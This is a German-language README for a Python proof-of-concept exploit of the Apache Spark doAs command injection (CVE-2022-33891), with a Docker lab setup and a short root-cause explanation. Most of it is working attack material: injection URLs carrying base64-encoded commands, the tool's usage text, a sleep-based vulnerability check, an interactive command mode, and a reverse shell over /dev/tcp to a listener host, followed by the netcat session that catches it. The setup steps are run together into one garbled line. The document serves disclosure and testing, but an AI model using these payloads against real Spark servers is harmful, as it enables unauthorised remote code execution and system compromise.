
Python-Proof-of-Concept für die Apache-Spark-Shell-Befehlsinjektion (CVE-2022-33891), mit schlafbasierter Erkennung, interaktiver Befehlsausführung und Reverse-Shell-Funktionen gegen verwundbare Spark-Oberflächen.
Sicherheitslücke zur Befehlseinschleusung in der Apache Spark Shell
Ein Python-POC zur Ausnutzung der Sicherheitslücke zur Befehlseinschleusung in der Apache Spark Shell. Ich habe einige andere POCs gesehen, aber sie sahen sehr verdächtig aus. Dieser ist sauber und einfach.
Ich habe diesen Exploit/diese Sicherheitslücke nicht entdeckt. Ich wollte nur einen sicheren POC für die Community erstellen ^.^
Apache Spark Versionen 3.0.3 und früher, Versionen 3.1.1 bis 3.1.2 und Versionen 3.2.0 bis 3.2.1
http://localhost:8080/?doAs=`[Befehlseinschleusung hier]`
Beispiel
http://localhost:8080/?doAs=`echo%20%22c2xlZXAgMTAK%22%20|%20base64%20-d%20|%20bash`
... schläft für 10 Sekunden
Sie benötigen eine anfällige Version von Spark, bei der eine einzelne Konfigurationsoption geändert wurde.
$ pip3 install -r requirements.txtspark/.docker-compose.yml im Verzeichnis spark/ und führen Sie docker-compose up aus. Lassen Sie den Container starten.sudo docker exec -it spark_spark_1 /bin/bash ein.echo "spark.acls.enable true" >> conf/spark-defaults.confcat anzeigen, um sicherzustellen, dass alles korrekt ist.docker-compose up aus.usage: poc.py [-h] -u URL -p PORT [--revshell] [-lh LISTENINGHOST] [-lp LISTENINGPORT] [--check]
CVE-2022-33891 Python POC Exploit Skript
optionale Argumente:
-h, --help zeige diese Hilfemeldung an und beende
-u URL, --url URL URL, die ausgenutzt werden soll.
-p PORT, --port PORT Port des Angriffsziels.
--revshell Reverse-Shell-Option.
-lh LISTENINGHOST, --listeninghost LISTENINGHOST
Ihre IP-Adresse des empfangenden Hosts.
-lp LISTENINGPORT, --listeningport LISTENINGPORT
Ihr Port des empfangenden Hosts.
--check Überprüft, ob das Ziel mit einem Sleep-Test ausnutzbar ist
Überprüfen, ob das Ziel anfällig ist:
husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --check
[*] Attempting to connect to site...
[*] Performing sleep test of 10 seconds...
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgMTA= | base64 -d | bash`
[+] Sleep was 10 seconds! This target is probably vulnerable!
Befehle in einer Eingabeaufforderungsschleife ausführen:
husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080
[*] "Interactive" mode!
[!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.
> sleep 5
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgNQ== | base64 -d | bash`
>
Eine Reverse-Shell ausführen:
husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --revshell -lh 192.168.138.131 -lp 1337
[*] Reverse shell mode.
[*] Set up your listener by entering the following:
nc -nvlp 1337
[!] When your listener is set up, press enter!
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMzguMTMxLzEzMzcgMD4mMQ== | base64 -d | bash`
..[im anderen Terminal]...
husky@dev-kde:~/spark$ nc -nvlp 1337
Listening on 0.0.0.0 1337
Connection received on 172.21.0.2 55278
sh: 0: can't access tty; job control turned off
$ whoami
spark
Die Befehlseinschleusung tritt auf, weil Spark die Gruppenmitgliedschaft des im Parameter ?doAs übergebenen Benutzers mit einem rohen Linux-Befehl überprüft.
Die Übergabe von id als Benutzer erzeugt diesen Fehler im Traceback:
spark_1 | 22/07/20 11:55:58 INFO Utils: id: 'id': no such user
spark_1 | 22/07/20 11:55:58 ERROR Utils: Process List(bash, -c, id -Gn 'id') exited with code 1:
spark_1 | 22/07/20 11:55:58 ERROR Utils: Error getting groups for user='id'
spark_1 | org.apache.spark.SparkException: Process List(bash, -c, id -Gn 'id') exited with code 1
Hier hat Java entschieden, dass es am besten sei, den Befehl id an bash -c zu übergeben, um die Gruppenmitgliedschaft für einen bestimmten Benutzer zu überprüfen. Das Problem ist, dass dies auch eine Befehlseinschleusung ermöglicht.
Gepatchte Versionen parametrisieren diesen Aufruf mit einem vollständigen Pfad zum Befehl /bin/id anstelle von bash -c id.
Es ist erwähnenswert, dass während der Befehlsausführung nichts auf der Seite zurückgespiegelt wird, es handelt sich also um eine blinde OS-Injection. Ihre Befehle werden ausgeführt, aber es gibt keine Anzeige, ob sie funktioniert haben oder nicht, oder ob das ausgeführte Programm auf dem Ziel vorhanden ist. Zum Beispiel hat der Container, der mit der docker-compose.yml-Datei in diesem Repository gestartet wird, kein ping, daher funktioniert die Überprüfung auf Befehlseinschleusung über einen Pingback nicht. Aber Sie werden das nicht wissen, und fragen sich, ob es funktioniert hat oder nicht.
Der Sleep-Test ist eine sichere Sache ^.^